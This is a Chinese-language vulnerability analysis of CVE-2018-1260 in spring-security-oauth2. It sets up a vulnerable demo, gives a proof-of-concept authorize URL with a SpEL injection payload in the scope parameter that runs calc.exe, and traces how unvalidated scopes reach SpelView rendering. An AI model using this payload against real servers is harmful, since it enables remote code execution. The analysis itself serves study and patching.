【CVE-2018-1260】RCE with spring-security-oauth2 Demo

  • A+
所属分类:网络安全文章
腾讯云网站解决方案帮您轻松应对建站成本高/网络不稳定/安全漏洞多/单点部署无冗余等常见问题,满足电商/直播/教育等日均PV1-100万的网站部署需求。


成都、重庆区云产品3折特惠,全新机型计算提速,最高睿频可达3.7GHz

环境搭建

利用github上已有的demo:

  1. git clone https://github.com/wanghongfei/spring-security-oauth2-example.git

确保导入的spring-security-oauth2为受影响版本,以这里为例为2.0.10进入spring-security-oauth2-example,修改 cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java的第67行:

  1. @Override
  2.     public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
  3.        clients.inMemory()
  4.                 .withClient("client")
  5.                 .authorizedGrantTypes("authorization_code")
  6.                 .scopes();
  7.     }

访问:

  1. http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D

会重定向到login页面,随意输入username和password,点击login,触发payload。
【CVE-2018-1260】RCE with spring-security-oauth2 Demo

漏洞分析

先简要补充一下关于OAuth2.0的相关知识。

【CVE-2018-1260】RCE with spring-security-oauth2 Demo
以上图为例。当用户使用客户端时,客户端要求授权,即图中的AB。接着客户端通过在B中获得的授权向认证服务器申请令牌,即access token。最后在EF阶段,客户端带着access token向资源服务器请求并获得资源。

在获得access token之前,客户端需要获得用户的授权。根据标准,有四种授权方式:授权码模式(authorization code)、简化模式(implicit)、密码模式(resource owner password credentials)、客户端模式(client credentials)。在这几种模式中,当客户端将用户导向认证服务器时,都可以带上一个可选的参数scope,这个参数用于表示客户端申请的权限的范围。

,根据官方文档,在spring-security-oauth的默认配置中scope参数默认为空:

  1. scope: The scope to which the client is limited. If scope is undefined or empty (the default) the client is not limited by scope.

为明白起见,我们在demo中将其清楚写出:

  1. clients.inMemory()
  2.         .withClient("client")
  3.         .authorizedGrantTypes("authorization_code")
  4.         .scopes();

接着开始正式分析。当我们访问http://localhost:8080/oauth/authorize重定向至http://localhost:8080/login并完成login后程序流程到达
org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java,这里贴上部分代码:

  1. @RequestMapping(value = "/oauth/authorize")
  2. public ModelAndView authorize(Map<String, Object> model, @RequestParam Map<String, String> parameters,
  3.         SessionStatus sessionStatus, Principal principal) {
  4.     // Pull out the authorization request first, using the OAuth2RequestFactory. All further logic should
  5.     // query off of the authorization request instead of referring back to the parameters map. The contents of the
  6.     // parameters map will be stored without change in the AuthorizationRequest object once it is created.
  7.     AuthorizationRequest authorizationRequest = getOAuth2RequestFactory().createAuthorizationRequest(parameters);
  8.     try {
  9.         ...
  10.         // We intentionally only validate the parameters requested by the client (ignoring any data that may have
  11.         // been added to the request by the manager).
  12.         oauth2RequestValidator.validateScope(authorizationRequest, client);
  13.         ...
  14.         // Place auth request into the model so that it is stored in the session
  15.         // for approveOrDeny to use. That way we make sure that auth request comes from the session,
  16.         // so any auth request parameters passed to approveOrDeny will be ignored and retrieved from the session.
  17.         model.put("authorizationRequest", authorizationRequest);
  18.         return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);
  19.     }
  20.     ...

在执行完AuthorizationRequest authorizationRequest = ...后,authorizationRequest代表了要认证的请求,其中包含了众多参数

【CVE-2018-1260】RCE with spring-security-oauth2 Demo

在经过了对一些参数的处理,比如RedirectUri等,之后到达第156行:

  1. // We intentionally only validate the parameters requested by the client (ignoring any data that may have
  2. // been added to the request by the manager).
  3. oauth2RequestValidator.validateScope(authorizationRequest, client);

在这里将对scope参数进行验证。跟入validateScope到org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:19

  1. public class DefaultOAuth2RequestValidator implements OAuth2RequestValidator {
  2.     public void validateScope(AuthorizationRequest authorizationRequest, ClientDetails client) throws InvalidScopeException {
  3.         validateScope(authorizationRequest.getScope(), client.getScope());
  4.     }
  5.     ...
  6. }

继续跟入validateScope,至 org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:28

  1. private void validateScope(Set<String> requestScopes, Set<String> clientScopes) {
  2.         if (clientScopes != null && !clientScopes.isEmpty()) {
  3.             for (String scope : requestScopes) {
  4.                 if (!clientScopes.contains(scope)) {
  5.                     throw new InvalidScopeException("Invalid scope: " + scope, clientScopes);
  6.                 }
  7.             }
  8.         }
  9.         if (requestScopes.isEmpty()) {
  10.             throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)");
  11.         }
  12.     }

首先检查clientScopes,这个clientScopes即我们在前面configure中配置的.scopes();,倘若不为空,则进行白名单检查。举个例子,如果前面配置.scopes("chybeta");,则传入requestScopes必须为chybeta,否则会直接抛出异常Invalid scope:xxx。但由于此处查clientScopes为空值,则接下来仅仅做了requestScopes.isEmpty()的检查并且通过。

在完成了各项检查和配置后,在authorize函数的最后执行:

  1. return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);

回想一下前面OAuth2.0的流程,在客户端请求授权(A),用户登陆认证(B)后,将会进行用户授权(C),这里即开始进行正式的授权阶段。跟入getUserApprovalPageResponse 至org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java:241:

【CVE-2018-1260】RCE with spring-security-oauth2 Demo

生成对应的model和view,之后将会forward到/oauth/confirm_access。为简单起见,我省略中间过程,直接定位到org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java:20

  1. public class WhitelabelApprovalEndpoint {
  2.     @RequestMapping("/oauth/confirm_access")
  3.     public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
  4.         String template = createTemplate(model, request);
  5.         if (request.getAttribute("_csrf") != null) {
  6.             model.put("_csrf", request.getAttribute("_csrf"));
  7.         }
  8.         return new ModelAndView(new SpelView(template), model);
  9.     }
  10.     ...
  11. }

跟入createTemplate,第29行:

  1. protected String createTemplate(Map<String, Object> model, HttpServletRequest request) {
  2.     String template = TEMPLATE;
  3.     if (model.containsKey("scopes") || request.getAttribute("scopes") != null) {
  4.         template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%""");
  5.     }
  6.     ...
  7.     return template;
  8. }

跟入createScopes,第46行:

这里获取到了scopes,并且通过for循环生成对应的builder,其实就是html和一些标签等,最后返回的即builder.toString(),其值如下:

  1. <ul><li><div class='form-group'>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul>

createScopes结束后将会把上述builder.toString()拼接到template中。createTemplate结束后,在getAccessConfirmation的最后:

  1. return new ModelAndView(new SpelView(template), model);

根据template生成对应的SpelView对象,这是其构造函数:
此后在页面渲染的过程中,将会执行页面中的Spel表达式${T(java.lang.Runtime).getRuntime().exec("calc.exe")}从而造成代码执行。

【CVE-2018-1260】RCE with spring-security-oauth2 Demo

CE安全网

发表评论

您必须登录才能发表评论!